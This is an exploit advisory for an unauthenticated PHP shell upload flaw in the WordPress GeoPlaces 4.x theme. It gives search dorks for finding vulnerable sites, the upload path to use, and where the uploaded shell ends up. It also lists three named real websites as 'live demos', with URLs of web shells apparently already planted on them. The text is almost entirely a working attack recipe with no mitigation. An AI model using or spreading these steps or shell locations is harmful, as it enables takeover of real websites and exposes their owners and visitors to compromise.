WordPress GeoPlaces 4.x Shell Upload

`#Title : Wordpress GeoPlaces 4.x Themes Shell Upload Vulnerabillity  
  
#Author : DevilScreaM  
  
#Date : 10/24/2013  
  
#Category : Web Applications  
  
#Type : PHP  
  
#Version : 4.x  
  
#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security  
Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber  
  
#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |  
  
#Vulnerabillity : Shell Upload  
  
#Dork :   
inurl:wp-content/themes/geoplaces4/  
inurl:wp-content/themes/GeoPlaces4beta/  
  
  
Exploit & POC  
  
http://site-target/wp-content/themes/GeoPlaces4beta/monetize/upload/  
  
Result Upload  
  
http://site-target/wp-content/uploads/[years]/[months]/[Find_your_shell].php  
  
Click Browse, And Choose your shell..  
  
  
Live Demo :  
  
http://novalocal.com/wp-content/themes/GeoPlaces4beta/monetize/upload/  
http://icollec.com/wwAgendascope/wp-content/themes/GeoPlaces4/monetize/upload/  
http://gpsys.com.br/curta/wp-content/themes/GeoPlaces4.3/monetize/upload/  
  
Result :  
  
http://novalocal.com/wp-content/uploads/2013/10/13826076391235083424.php  
http://icollec.com/wwAgendascope/wp-content/uploads/2013/10/13826080342139189430.php  
http://gpsys.com.br/curta/wp-content/uploads/2013/10/1382608315784907842.php  
`